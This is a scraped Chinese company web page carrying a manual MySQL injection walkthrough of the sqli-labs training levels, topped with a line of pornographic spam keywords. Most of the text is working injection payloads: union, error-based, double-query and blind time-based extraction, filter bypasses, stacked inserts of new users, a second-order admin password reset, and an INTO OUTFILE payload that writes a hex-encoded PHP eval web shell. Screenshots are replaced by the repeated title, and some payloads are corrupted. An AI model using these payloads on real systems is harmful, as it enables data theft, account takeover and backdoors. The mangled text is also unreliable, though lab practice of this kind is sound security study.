真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

mysql手工如何注入詳解

下文內(nèi)容主要給大家?guī)鞰ySQL手工如何注入詳解,這里所講到的知識,與書籍略有不同,都是創(chuàng)新互聯(lián)專業(yè)技術(shù)人員在與用戶接觸過程中,總結(jié)出來的,具有一定的經(jīng)驗分享價值,希望給廣大讀者帶來幫助。

創(chuàng)新互聯(lián)致力于網(wǎng)站設(shè)計、做網(wǎng)站,成都網(wǎng)站設(shè)計,集團(tuán)網(wǎng)站建設(shè)等服務(wù)標(biāo)準(zhǔn)化,推過標(biāo)準(zhǔn)化降低中小企業(yè)的建站的成本,并持續(xù)提升建站的定制化服務(wù)水平進(jìn)行質(zhì)量交付,讓企業(yè)網(wǎng)站從市場競爭中脫穎而出。 選擇創(chuàng)新互聯(lián),就選擇了安全、穩(wěn)定、美觀的網(wǎng)站建設(shè)服務(wù)!

less-1(普通字符型)

http://127.0.0.1/sql/Less-1/?id=1

加’可知可能是字符型注入
mysql手工如何注入詳解
用and來確認(rèn)
mysql手工如何注入詳解
mysql手工如何注入詳解
說明存在注入

order by查詢字段數(shù)
mysql手工如何注入詳解
mysql手工如何注入詳解
存在3個字段

union select查詢在頁面中顯示的位置
mysql手工如何注入詳解

查詢數(shù)據(jù)庫
mysql手工如何注入詳解
查詢表
mysql手工如何注入詳解
查字段
mysql手工如何注入詳解
mysql手工如何注入詳解

查內(nèi)容
mysql手工如何注入詳解

less2(普通數(shù)值型)

數(shù)字型的

less3(帶括號字符型)

使用’可知可能是拼接型的字符型注入
mysql手工如何注入詳解
使用and判斷
mysql手工如何注入詳解
mysql手工如何注入詳解
確定是注入點
order by查詢字段數(shù)
mysql手工如何注入詳解
mysql手工如何注入詳解

less4(帶括號雙引號字符型)

使用’以及數(shù)值型無法判斷,使用%81也無法判斷,使用”發(fā)現(xiàn)可能是雙引號型的注入,并且是帶括號的
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解
order by
mysql手工如何注入詳解
mysql手工如何注入詳解

less5(雙查詢型單引號)

使用’可知可能是字符型注入
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解
初步確定注入
order by確定字段數(shù)
mysql手工如何注入詳解
union select查看頁面中顯示位置
mysql手工如何注入詳解
失敗,對于注入時沒有在頁面中顯示位置的可使用雙查詢注入方法!
使用雙查詢注入固定公式
union select 1 from (select count(),concat(floor(rand(0)2),(注入語句))a from information_schema.tables group by a)b -- -
mysql手工如何注入詳解
查詢表
mysql手工如何注入詳解
太多顯示不了,使用limit查詢
mysql手工如何注入詳解
mysql手工如何注入詳解
http://127.0.0.1/sql/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113 -- -

' or 1 group by concat_ws(0x3b,version(),floor(rand(0)*2)) having min(0) or '1
mysql手工如何注入詳解

less6(雙查詢型雙引號)

使用’以及數(shù)值型注入無法判斷,使用寬字節(jié)無法判斷,使用”進(jìn)行判斷可知是雙引號型的字符注入
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解
order by
mysql手工如何注入詳解
union select
mysql手工如何注入詳解
無返回顯示位,使用雙查詢注入
mysql手工如何注入詳解

less7(雙括號盲注mid,ascii,基于時間)

使用’以及數(shù)值型無法判斷,根據(jù)less2,猜測可能存在有括號的情況
mysql手工如何注入詳解
mysql手工如何注入詳解
嘗試把后面的一個and換成注釋,發(fā)現(xiàn)失敗
mysql手工如何注入詳解
猜測可能后面還有一個括號注釋不了
使用雙括號試試
mysql手工如何注入詳解
mysql手工如何注入詳解
使用order by
mysql手工如何注入詳解
使用union select
mysql手工如何注入詳解
沒有回顯,使用雙查詢注入失敗
mysql手工如何注入詳解
使用mid函數(shù)進(jìn)行盲注
判斷數(shù)據(jù)庫長度
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0X20)),9,1))>1
mysql手工如何注入詳解
mysql手工如何注入詳解
mysql手工如何注入詳解
查詢表
AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>1 -- -

LIMIT 0,1),1,1
0,1第一張表是否存在,一次性查詢一張表
1,1第一個字符是否存在,一次性查詢一個字符

查詢字段
AND ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.columnS WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>105 -- -

查內(nèi)容
AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM emails limit 0,1),1,1))>48 -- -
使用ascii
'))  and(ascii(substr((select(database())),8,1))>1)  and sleep(5) -- -
mysql手工如何注入詳解
可單獨使用
'))  and(ascii(substr((select(database())),8,1))>1)  -- -
mysql手工如何注入詳解
mysql手工如何注入詳解

less8(字符型盲注mid)

使用’以及and可知存在注入
mysql手工如何注入詳解
mysql手工如何注入詳解
order by
mysql手工如何注入詳解
union select不返回顯示位
使用雙查詢注入失敗
使用mid
mysql手工如何注入詳解
mysql手工如何注入詳解
數(shù)據(jù)庫總共有8個字符

less9(基于時間的盲注單引號)

使用’以及數(shù)值型無法判斷,使用寬字節(jié)無法判斷,使用帶括號無法判斷,使用sleep判斷
mysql手工如何注入詳解
mysql手工如何注入詳解
帶’試試
mysql手工如何注入詳解
初步判斷為基于時間的盲注
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解

使用mid
mysql手工如何注入詳解
mysql手工如何注入詳解
使用ascii
'  and(ascii(substr((select(database())),9,1))>1)  and sleep(5) and '1'='1
mysql手工如何注入詳解

less10(基于時間的盲注雙引號)

使用’以及數(shù)值型無法判斷,使用寬字節(jié)無法判斷,使用帶括號無法判斷,使用sleep判斷,以及使用單引號的sleep也無法判斷出,根據(jù)less4猜測可能是雙引號
mysql手工如何注入詳解
mysql手工如何注入詳解
使用mid
mysql手工如何注入詳解

less11(post 字符型)

獲取請求頭參數(shù)
mysql手工如何注入詳解
post注入
對uname進(jìn)行注入探測
使用’判斷可能存在注入
mysql手工如何注入詳解
使用or進(jìn)行進(jìn)一步探測(主要是使用萬能語句來判斷,根據(jù)是否成功登陸,使用and的話想對麻煩點)
mysql手工如何注入詳解
mysql手工如何注入詳解
在使用and來進(jìn)一步注入
mysql手工如何注入詳解
mysql手工如何注入詳解
常規(guī)字符注入
mysql手工如何注入詳解
mysql手工如何注入詳解
mysql手工如何注入詳解

使用雙查詢
mysql手工如何注入詳解
使用mid
mysql手工如何注入詳解

less12(post 帶括號字符型)

使用’以及數(shù)值型無法判斷,使用寬字節(jié)無法判斷,使用雙引號判斷可能存在注入,且是帶括號型的
mysql手工如何注入詳解
使用or
mysql手工如何注入詳解
mysql手工如何注入詳解
order by
mysql手工如何注入詳解
union select
mysql手工如何注入詳解

less13(帶括號雙查詢)

使用’可知是字符型的,且是帶括號的
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解
order by
mysql手工如何注入詳解
union select無返回顯示位
mysql手工如何注入詳解
使用雙查詢
union select 1 from (select count(),concat(floor(rand(0)2),(select database()))a from information_schema.tables group by a)b -- -
mysql手工如何注入詳解

less14(雙查詢雙引號)

mysql手工如何注入詳解

less15(時間盲注,mid)

使用’ 以及 or 以及order by
mysql手工如何注入詳解
mysql手工如何注入詳解
union select不返回顯示位,雙查詢失敗
使用sleep試試
mysql手工如何注入詳解
mysql手工如何注入詳解

less16(時間盲注,mid,帶括號)

mysql手工如何注入詳解
mysql手工如何注入詳解

less17(顯錯注入)sqlmap掛

這里提示是密碼重置,應(yīng)該是使用update更新語句,在insert、update、delete用法一致的時候,使用payload
or updatexml(2,concat(0x1,(注入語句)),0) or '
mysql手工如何注入詳解
mysql手工如何注入詳解
and extractvalue(1, concat(0x7f, (select version()),0x7f))
mysql手工如何注入詳解
and 1=(select from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
mysql手工如何注入詳解
使用子查詢
' or (SELECT 1 FROM(SELECT count(
),concat((SELECT(SELECT concat(0x1, cast(database() as char), 0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '
mysql手工如何注入詳解

less18(user-agent顯錯,時間,子查詢)

通過頁面查看可知本題注入存在于http請求包里面(如果沒有提示的話就得先嘗試登錄框)!
簡單使用’對host以及User-Agent判斷,可知注入點可能是User-Agent
mysql手工如何注入詳解
使用and,or,無法進(jìn)一步判斷,使用sleep進(jìn)行嘗試
mysql手工如何注入詳解
mysql手工如何注入詳解

使用子查詢
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '

' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
mysql手工如何注入詳解
顯錯注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
mysql手工如何注入詳解

less19(referer顯錯,時間,子查詢)

referer字段可能存在注入
使用’
mysql手工如何注入詳解
使用and or失敗,使用sleep
mysql手工如何注入詳解
mysql手工如何注入詳解
使用子查詢
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
mysql手工如何注入詳解
顯錯注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
mysql手工如何注入詳解

less20(cookie注入,雙查詢)

使用’
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解
union
mysql手工如何注入詳解

使用雙查詢
mysql手工如何注入詳解

less21(cookie注入,base64編碼)

可知cookie是通過base64編碼的
mysql手工如何注入詳解
使用’
mysql手工如何注入詳解

使用admin') and 1=1 -- -
mysql手工如何注入詳解
使用admin') and 1=2 -- -
mysql手工如何注入詳解
使用order by
mysql手工如何注入詳解
union
admin') and 1=2 union select 1,2,3 -- -
mysql手工如何注入詳解

less22(cookie注入,base64編碼,雙引號)

使用’以及數(shù)值型,以及寬字節(jié)均無法判斷,使用”可初步判斷
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
使用admin" and 1=2 union select 1,2,3-- -
mysql手工如何注入詳解
mysql手工如何注入詳解

less23(顯錯注入,子查詢)

使用’
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解

使用雙查詢失敗
使用顯錯注入
or updatexml(2,concat(0x1,(注入語句)),0) or '
mysql手工如何注入詳解
使用子查詢
'  and (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) and '
mysql手工如何注入詳解

less24(二次注入)

在登錄的地方,請求的地方均未發(fā)現(xiàn)存在有注入,登錄進(jìn)去后發(fā)現(xiàn)有一個密碼重置功能,考慮可能是update語句,可使用顯錯注入,但是提交的時候抓包沒發(fā)現(xiàn)重置密碼是提交的用戶名,此時考慮可能存在二次注入。
最基本的一個利用方法如下,已知系統(tǒng)中存在有admin這個賬戶,此時我們注冊一個admin’ -- -的用戶,登錄進(jìn)去后進(jìn)行修改密碼,這里按理解應(yīng)該是修改admin’ -- -用戶的密碼,其實不然這是修改admin賬戶的密碼,即使我們不知道admin的原密碼。
由于數(shù)據(jù)庫設(shè)置了用戶名長度,懶得改了,應(yīng)該是可以使用顯錯注入的!

less25(字符注入,過濾一次and和or)

使用’
mysql手工如何注入詳解
使用and或or
mysql手工如何注入詳解
可知過濾了and和or關(guān)鍵字,使用大小寫失敗
mysql手工如何注入詳解
使用雙重嵌套,在and里面嵌套一個and
mysql手工如何注入詳解
mysql手工如何注入詳解
也可以使用&&的URL編碼%26%26
mysql手工如何注入詳解
使用order by
mysql手工如何注入詳解

less25a(數(shù)值型,過濾一次and和or)

使用’無法判斷,使用數(shù)值型可判斷
使用aandnd 1=1

less26(字符注入,過濾空格及注釋)

使用’
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
過濾了空格以及注釋,以及上一關(guān)的and,or,這個可以使用嵌套繞過,或者使用其符號(&& ||)的URL編碼進(jìn)行繞過!
不使用空格及注釋,使用&&或者||然后在使用顯錯注入
-1%27 %26%26 extractvalue(1,concat(0x1,database()))%26%26'1'='1
-1%27 || extractvalue(1,concat(0x1,database()))||'1'='1
mysql手工如何注入詳解
' %26%26 updatexml(2,concat(0x1,(database())),0)%26%26'1'='1
mysql手工如何注入詳解
但是如果想繼續(xù)往下查詢就會發(fā)現(xiàn)空格怎么都需要啊,因此使用其他字符的編碼進(jìn)行繞過,linux使用%0a,windows使用%0a%0d,有時使用%0a也是可以的,但是我的環(huán)境就沒有成功,通過對比可能是我mysql版本問題導(dǎo)致,因此根據(jù)自身環(huán)境來進(jìn)行測試,為了忽略這個,因此后面的幾關(guān)凡是涉及到過濾空格的代碼我均進(jìn)行注釋掉,你們只需要知道空格可以使用上面的編碼代替即可!

less26a(帶括號,不顯示mysql錯誤信息)

使用’
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
過濾了and,注釋
mysql手工如何注入詳解
mysql手工如何注入詳解
mysql手工如何注入詳解
最后一個截圖我們可知查出來的依舊是id=1的數(shù)據(jù),這里考慮可能存在括號
mysql手工如何注入詳解
帶上括號試試
mysql手工如何注入詳解
不能使用order by,過濾了*不能使用子查詢,不顯示mysql錯誤信息,不能使用顯錯注入,使用union select進(jìn)行猜測
mysql手工如何注入詳解
mysql手工如何注入詳解
也可以這樣使用2') aandnd 1=2 union select 1,2,('3
mysql手工如何注入詳解

less27(顯錯注入,過濾)

使用’
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
過濾了注釋
mysql手工如何注入詳解
mysql手工如何注入詳解
對于過濾了注釋,所以后面的’就不能注釋,所以可以考慮使用雙查詢以及報錯注入進(jìn)行嘗試
使用雙查詢
mysql手工如何注入詳解
過濾了union select
使用嵌套
mysql手工如何注入詳解
過濾了*好,不能使用雙查詢,因此接著使用顯錯注入
' and updatexml(2,concat(0x1,(database())),0) and '1'='1
mysql手工如何注入詳解
查詢表,從上可知select使用嵌套不能繞過,因此使用大小寫混淆進(jìn)行嘗試
mysql手工如何注入詳解

less27a(待定,雙引號)

使用’以及數(shù)值型注入以及寬字節(jié)均無法進(jìn)行判斷,使用雙引號進(jìn)行判斷
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
過濾了注釋
mysql手工如何注入詳解
mysql手工如何注入詳解
過濾了注釋,使用雙查詢或顯錯注入進(jìn)行嘗試
過濾了*,不能使用雙查詢,不顯示mysql錯誤信息,不能使用顯錯注入
使用union select進(jìn)行猜測
mysql手工如何注入詳解
mysql手工如何注入詳解
mysql手工如何注入詳解

less28(過濾了union select,ascii模糊查詢)

使用'
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
過濾了注釋
mysql手工如何注入詳解
mysql手工如何注入詳解
mysql手工如何注入詳解
可能存在有括號的情況
mysql手工如何注入詳解
不顯示mysql錯誤信息不能使用顯錯注入,過濾了*不能使用雙查詢和子查詢
使用union select進(jìn)行猜測
mysql手工如何注入詳解
過濾了union 和select,使用嵌套失敗
mysql手工如何注入詳解
過濾了union select以及后面的一個空格(使用%a0可進(jìn)行繞過,借的圖)
mysql手工如何注入詳解
使用ascii
') and(ascii(substr((sElect(database())),1,1))>114)and('1'='1
mysql手工如何注入詳解

less28a(過濾union select)

同28,但是可以使用注釋符
使用order by
mysql手工如何注入詳解
使用union select,同28
使用ascii
mysql手工如何注入詳解

less29(HPP)

使用’
mysql手工如何注入詳解
說明有一定的防護(hù),此時我們可以嘗試下編碼,但是沒成功,我們使用HPP(參數(shù)污染https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf) 進(jìn)行下一步的嘗試
mysql手工如何注入詳解
使用’
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解

less30(HPP,雙引號)

使用’說明有防護(hù),編碼繞過失敗,使用HPP
mysql手工如何注入詳解
使用’以及數(shù)值型,寬字節(jié)型失敗,使用”
mysql手工如何注入詳解

less31(HPP,雙引號及括號)

同上探測
mysql手工如何注入詳解
說明帶括號雙引號
mysql手工如何注入詳解

less32(寬字節(jié))

使用’
mysql手工如何注入詳解
從上面可以簡單看出本關(guān)使用寬字節(jié),但是我們依舊按照上面的步驟進(jìn)行,使用數(shù)值型無法判斷,使用寬字節(jié)(http://eth20.blog.51cto.com/13143704/1962804 )初步判斷可能存在注入
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
mysql手工如何注入詳解
在查詢表的時候使用十六進(jìn)制

less33

同上???

less34(寬字節(jié),雙查詢)

使用’,使用數(shù)值型無法進(jìn)行判斷,使用寬字節(jié)
mysql手工如何注入詳解
使用or
mysql手工如何注入詳解
mysql手工如何注入詳解
使用雙查詢
mysql手工如何注入詳解

less35(數(shù)值型)

使用’失敗
mysql手工如何注入詳解
使用數(shù)值型
mysql手工如何注入詳解
mysql手工如何注入詳解
使用order by
mysql手工如何注入詳解

less36

同32

less37

同34???

less38(堆疊查詢)

同1,另外就是可以使用;來進(jìn)行多條語句的執(zhí)行
';insert into users(id,username,password) values ('39','eth20','eth20')--+
mysql手工如何注入詳解
mysql手工如何注入詳解

less39

同2

less40

使用’
mysql手工如何注入詳解
使用and
mysql手工如何注入詳解
不能使用注釋,或者說明后面可能還存在括號
mysql手工如何注入詳解
使用子查詢失敗,使用顯錯失敗,使用盲注
使用盲注ascii(可以使用基于時間的)
'  and(ascii(substr((select(database())),8,1))>1) and '1'='1
mysql手工如何注入詳解

');insert into users(id,username,password) values ('40','eth20','eth20'); and ('1'='1
mysql手工如何注入詳解
mysql手工如何注入詳解

less41

同39
mysql手工如何注入詳解
mysql手工如何注入詳解

less42

用戶名隨意
密碼:1';insert into users(id,username,password) values ('42','eth20','eth20')-- -

less43

密碼:1');insert into users(id,username,password) values ('42','eth20','eth20')-- -

less44

同42

less45

同43

less46(order by后的注入)

通過對比可知注入點是order by后面的參數(shù)
使用desc進(jìn)行對比
mysql手工如何注入詳解
mysql手工如何注入詳解
使用報錯
(select count() from information_schema.columns group by concat(0x1,(database()),0x1,floor(rand()2)) limit 0,1)
mysql手工如何注入詳解
mysql手工如何注入詳解
下面這種對于limit后的注入依舊適用
mysql手工如何注入詳解
導(dǎo)出文件,寫馬
sort=1 into outfile "F:\phpStudy\WWW\sql\Less-40\eth20.php"  lines terminated by 0x203C3F70687020406576616C28245F504F53545B226574683130225D293B3F3E
mysql手工如何注入詳解
mysql手工如何注入詳解
使用盲注
1 and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
mysql手工如何注入詳解

less47

通46,只是是字符型的
'  procedure analyse(extractvalue(rand(),concat(0x1,version())),1)-- -
' and (updatexml(2,concat(0x1,(database())),0)) -- -
mysql手工如何注入詳解
使用延時注入1' and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
mysql手工如何注入詳解

less48

同46,不能使用顯錯可使用盲注
mysql手工如何注入詳解
使用rand
rand(ascii(left(database(),1))=116)
mysql手工如何注入詳解
mysql手工如何注入詳解
mysql手工如何注入詳解

less49

同47,沒錯誤回顯
延時盲注
1' and (If(ascii(substr((database()),1,1))=114,0,sleep(5)))-- -

對于以上關(guān)于mysql手工如何注入詳解,如果大家還有更多需要了解的可以持續(xù)關(guān)注我們創(chuàng)新互聯(lián)的行業(yè)推新,如需獲取專業(yè)解答,可在官網(wǎng)聯(lián)系售前售后的,希望該文章可給大家?guī)硪欢ǖ闹R更新。

 


文章名稱:mysql手工如何注入詳解
文章來源:http://weahome.cn/article/pjhpdd.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部